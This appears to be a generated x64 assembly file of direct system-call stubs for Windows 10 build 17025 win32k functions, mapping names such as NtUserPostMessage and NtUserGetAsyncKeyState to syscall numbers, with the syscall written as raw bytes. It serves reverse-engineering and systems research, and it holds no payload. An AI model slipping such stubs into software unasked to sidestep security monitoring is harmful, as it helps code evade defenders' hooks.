; ULONG64 __stdcall NtUserMessageCall( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMessageCall PROC STDCALL
mov r10 , rcx
mov eax , 4106
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMessageCall ENDP
; ULONG64 __stdcall NtGdiBitBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBitBlt PROC STDCALL
mov r10 , rcx
mov eax , 4107
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBitBlt ENDP
; ULONG64 __stdcall NtGdiGetCharSet( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharSet PROC STDCALL
mov r10 , rcx
mov eax , 4108
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetCharSet ENDP
; ULONG64 __stdcall NtUserGetDC( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDC PROC STDCALL
mov r10 , rcx
mov eax , 4109
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDC ENDP
; ULONG64 __stdcall NtGdiSelectBitmap( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectBitmap PROC STDCALL
mov r10 , rcx
mov eax , 4110
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectBitmap ENDP
; ULONG64 __stdcall NtUserWaitMessage( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitMessage PROC STDCALL
mov r10 , rcx
mov eax , 4111
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWaitMessage ENDP
; ULONG64 __stdcall NtUserTranslateMessage( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTranslateMessage PROC STDCALL
mov r10 , rcx
mov eax , 4112
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTranslateMessage ENDP
; ULONG64 __stdcall NtUserGetProp( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetProp PROC STDCALL
mov r10 , rcx
mov eax , 4113
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetProp ENDP
; ULONG64 __stdcall NtUserPostMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPostMessage PROC STDCALL
mov r10 , rcx
mov eax , 4114
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPostMessage ENDP
; ULONG64 __stdcall NtUserQueryWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryWindow PROC STDCALL
mov r10 , rcx
mov eax , 4115
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserQueryWindow ENDP
; ULONG64 __stdcall NtUserTranslateAccelerator( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTranslateAccelerator PROC STDCALL
mov r10 , rcx
mov eax , 4116
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserTranslateAccelerator ENDP
; ULONG64 __stdcall NtGdiFlush( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFlush PROC STDCALL
mov r10 , rcx
mov eax , 4117
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFlush ENDP
; ULONG64 __stdcall NtUserRedrawWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRedrawWindow PROC STDCALL
mov r10 , rcx
mov eax , 4118
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRedrawWindow ENDP
; ULONG64 __stdcall NtUserWindowFromPoint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWindowFromPoint PROC STDCALL
mov r10 , rcx
mov eax , 4119
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserWindowFromPoint ENDP
; ULONG64 __stdcall NtUserCallMsgFilter( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallMsgFilter PROC STDCALL
mov r10 , rcx
mov eax , 4120
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallMsgFilter ENDP
; ULONG64 __stdcall NtUserValidateTimerCallback( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserValidateTimerCallback PROC STDCALL
mov r10 , rcx
mov eax , 4121
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserValidateTimerCallback ENDP
; ULONG64 __stdcall NtUserBeginPaint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBeginPaint PROC STDCALL
mov r10 , rcx
mov eax , 4122
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBeginPaint ENDP
; ULONG64 __stdcall NtUserSetTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetTimer PROC STDCALL
mov r10 , rcx
mov eax , 4123
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetTimer ENDP
; ULONG64 __stdcall NtUserEndPaint( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEndPaint PROC STDCALL
mov r10 , rcx
mov eax , 4124
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEndPaint ENDP
; ULONG64 __stdcall NtUserSetCursor( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCursor PROC STDCALL
mov r10 , rcx
mov eax , 4125
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCursor ENDP
; ULONG64 __stdcall NtUserKillTimer( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserKillTimer PROC STDCALL
mov r10 , rcx
mov eax , 4126
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserKillTimer ENDP
; ULONG64 __stdcall NtUserBuildHwndList( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBuildHwndList PROC STDCALL
mov r10 , rcx
mov eax , 4127
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserBuildHwndList ENDP
; ULONG64 __stdcall NtUserSelectPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSelectPalette PROC STDCALL
mov r10 , rcx
mov eax , 4128
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSelectPalette ENDP
; ULONG64 __stdcall NtUserCallNextHookEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallNextHookEx PROC STDCALL
mov r10 , rcx
mov eax , 4129
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallNextHookEx ENDP
; ULONG64 __stdcall NtUserHideCaret( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHideCaret PROC STDCALL
mov r10 , rcx
mov eax , 4130
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserHideCaret ENDP
; ULONG64 __stdcall NtGdiIntersectClipRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiIntersectClipRect PROC STDCALL
mov r10 , rcx
mov eax , 4131
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiIntersectClipRect ENDP
; ULONG64 __stdcall NtUserCallHwndLock( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwndLock PROC STDCALL
mov r10 , rcx
mov eax , 4132
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwndLock ENDP
; ULONG64 __stdcall NtUserGetProcessWindowStation( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetProcessWindowStation PROC STDCALL
mov r10 , rcx
mov eax , 4133
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetProcessWindowStation ENDP
; ULONG64 __stdcall NtGdiDeleteObjectApp( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDeleteObjectApp PROC STDCALL
mov r10 , rcx
mov eax , 4134
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDeleteObjectApp ENDP
; ULONG64 __stdcall NtUserSetWindowPos( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowPos PROC STDCALL
mov r10 , rcx
mov eax , 4135
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowPos ENDP
; ULONG64 __stdcall NtUserShowCaret( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowCaret PROC STDCALL
mov r10 , rcx
mov eax , 4136
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowCaret ENDP
; ULONG64 __stdcall NtUserEndDeferWindowPosEx( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEndDeferWindowPosEx PROC STDCALL
mov r10 , rcx
mov eax , 4137
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEndDeferWindowPosEx ENDP
; ULONG64 __stdcall NtUserCallHwndParamLock( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwndParamLock PROC STDCALL
mov r10 , rcx
mov eax , 4138
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwndParamLock ENDP
; ULONG64 __stdcall NtUserVkKeyScanEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserVkKeyScanEx PROC STDCALL
mov r10 , rcx
mov eax , 4139
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserVkKeyScanEx ENDP
; ULONG64 __stdcall NtGdiSetDIBitsToDeviceInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetDIBitsToDeviceInternal PROC STDCALL
mov r10 , rcx
mov eax , 4140
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetDIBitsToDeviceInternal ENDP
; ULONG64 __stdcall NtUserCallTwoParam( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallTwoParam PROC STDCALL
mov r10 , rcx
mov eax , 4141
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallTwoParam ENDP
; ULONG64 __stdcall NtGdiGetRandomRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRandomRgn PROC STDCALL
mov r10 , rcx
mov eax , 4142
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRandomRgn ENDP
; ULONG64 __stdcall NtUserCopyAcceleratorTable( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCopyAcceleratorTable PROC STDCALL
mov r10 , rcx
mov eax , 4143
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCopyAcceleratorTable ENDP
; ULONG64 __stdcall NtUserNotifyWinEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserNotifyWinEvent PROC STDCALL
mov r10 , rcx
mov eax , 4144
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserNotifyWinEvent ENDP
; ULONG64 __stdcall NtGdiExtSelectClipRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtSelectClipRgn PROC STDCALL
mov r10 , rcx
mov eax , 4145
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtSelectClipRgn ENDP
; ULONG64 __stdcall NtUserIsClipboardFormatAvailable( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsClipboardFormatAvailable PROC STDCALL
mov r10 , rcx
mov eax , 4146
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserIsClipboardFormatAvailable ENDP
; ULONG64 __stdcall NtUserSetScrollInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetScrollInfo PROC STDCALL
mov r10 , rcx
mov eax , 4147
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetScrollInfo ENDP
; ULONG64 __stdcall NtGdiStretchBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStretchBlt PROC STDCALL
mov r10 , rcx
mov eax , 4148
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStretchBlt ENDP
; ULONG64 __stdcall NtUserCreateCaret( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateCaret PROC STDCALL
mov r10 , rcx
mov eax , 4149
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateCaret ENDP
; ULONG64 __stdcall NtGdiRectVisible( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRectVisible PROC STDCALL
mov r10 , rcx
mov eax , 4150
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRectVisible ENDP
; ULONG64 __stdcall NtGdiCombineRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCombineRgn PROC STDCALL
mov r10 , rcx
mov eax , 4151
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCombineRgn ENDP
; ULONG64 __stdcall NtGdiGetDCObject( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCObject PROC STDCALL
mov r10 , rcx
mov eax , 4152
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCObject ENDP
; ULONG64 __stdcall NtUserDispatchMessage( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDispatchMessage PROC STDCALL
mov r10 , rcx
mov eax , 4153
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDispatchMessage ENDP
; ULONG64 __stdcall NtUserRegisterWindowMessage( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterWindowMessage PROC STDCALL
mov r10 , rcx
mov eax , 4154
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRegisterWindowMessage ENDP
; ULONG64 __stdcall NtGdiExtTextOutW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtTextOutW PROC STDCALL
mov r10 , rcx
mov eax , 4155
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtTextOutW ENDP
; ULONG64 __stdcall NtGdiSelectFont( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectFont PROC STDCALL
mov r10 , rcx
mov eax , 4156
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSelectFont ENDP
; ULONG64 __stdcall NtGdiRestoreDC( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRestoreDC PROC STDCALL
mov r10 , rcx
mov eax , 4157
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRestoreDC ENDP
; ULONG64 __stdcall NtGdiSaveDC( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSaveDC PROC STDCALL
mov r10 , rcx
mov eax , 4158
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSaveDC ENDP
; ULONG64 __stdcall NtUserGetForegroundWindow( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetForegroundWindow PROC STDCALL
mov r10 , rcx
mov eax , 4159
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetForegroundWindow ENDP
; ULONG64 __stdcall NtUserShowScrollBar( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowScrollBar PROC STDCALL
mov r10 , rcx
mov eax , 4160
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowScrollBar ENDP
; ULONG64 __stdcall NtUserFindExistingCursorIcon( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFindExistingCursorIcon PROC STDCALL
mov r10 , rcx
mov eax , 4161
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFindExistingCursorIcon ENDP
; ULONG64 __stdcall NtGdiGetDCDword( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCDword PROC STDCALL
mov r10 , rcx
mov eax , 4162
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCDword ENDP
; ULONG64 __stdcall NtGdiGetRegionData( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRegionData PROC STDCALL
mov r10 , rcx
mov eax , 4163
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRegionData ENDP
; ULONG64 __stdcall NtGdiLineTo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiLineTo PROC STDCALL
mov r10 , rcx
mov eax , 4164
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiLineTo ENDP
; ULONG64 __stdcall NtUserSystemParametersInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSystemParametersInfo PROC STDCALL
mov r10 , rcx
mov eax , 4165
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSystemParametersInfo ENDP
; ULONG64 __stdcall NtGdiGetAppClipBox( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetAppClipBox PROC STDCALL
mov r10 , rcx
mov eax , 4166
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetAppClipBox ENDP
; ULONG64 __stdcall NtUserGetAsyncKeyState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAsyncKeyState PROC STDCALL
mov r10 , rcx
mov eax , 4167
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetAsyncKeyState ENDP
; ULONG64 __stdcall NtUserGetCPD( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCPD PROC STDCALL
mov r10 , rcx
mov eax , 4168
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetCPD ENDP
; ULONG64 __stdcall NtUserRemoveProp( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoveProp PROC STDCALL
mov r10 , rcx
mov eax , 4169
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoveProp ENDP
; ULONG64 __stdcall NtGdiDoPalette( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDoPalette PROC STDCALL
mov r10 , rcx
mov eax , 4170
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDoPalette ENDP
; ULONG64 __stdcall NtGdiPolyPolyDraw( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPolyPolyDraw PROC STDCALL
mov r10 , rcx
mov eax , 4171
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPolyPolyDraw ENDP
; ULONG64 __stdcall NtUserSetCapture( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCapture PROC STDCALL
mov r10 , rcx
mov eax , 4172
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetCapture ENDP
; ULONG64 __stdcall NtUserEnumDisplayMonitors( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnumDisplayMonitors PROC STDCALL
mov r10 , rcx
mov eax , 4173
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnumDisplayMonitors ENDP
; ULONG64 __stdcall NtGdiCreateCompatibleBitmap( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateCompatibleBitmap PROC STDCALL
mov r10 , rcx
mov eax , 4174
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateCompatibleBitmap ENDP
; ULONG64 __stdcall NtUserSetProp( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProp PROC STDCALL
mov r10 , rcx
mov eax , 4175
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetProp ENDP
; ULONG64 __stdcall NtGdiGetTextCharsetInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextCharsetInfo PROC STDCALL
mov r10 , rcx
mov eax , 4176
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextCharsetInfo ENDP
; ULONG64 __stdcall NtUserSBGetParms( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSBGetParms PROC STDCALL
mov r10 , rcx
mov eax , 4177
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSBGetParms ENDP
; ULONG64 __stdcall NtUserGetIconInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetIconInfo PROC STDCALL
mov r10 , rcx
mov eax , 4178
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetIconInfo ENDP
; ULONG64 __stdcall NtUserExcludeUpdateRgn( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserExcludeUpdateRgn PROC STDCALL
mov r10 , rcx
mov eax , 4179
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserExcludeUpdateRgn ENDP
; ULONG64 __stdcall NtUserSetFocus( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetFocus PROC STDCALL
mov r10 , rcx
mov eax , 4180
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetFocus ENDP
; ULONG64 __stdcall NtGdiExtGetObjectW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtGetObjectW PROC STDCALL
mov r10 , rcx
mov eax , 4181
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtGetObjectW ENDP
; ULONG64 __stdcall NtUserGetUpdateRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetUpdateRect PROC STDCALL
mov r10 , rcx
mov eax , 4182
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetUpdateRect ENDP
; ULONG64 __stdcall NtGdiCreateCompatibleDC( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateCompatibleDC PROC STDCALL
mov r10 , rcx
mov eax , 4183
;syscall
db 0Fh , 05h
ret
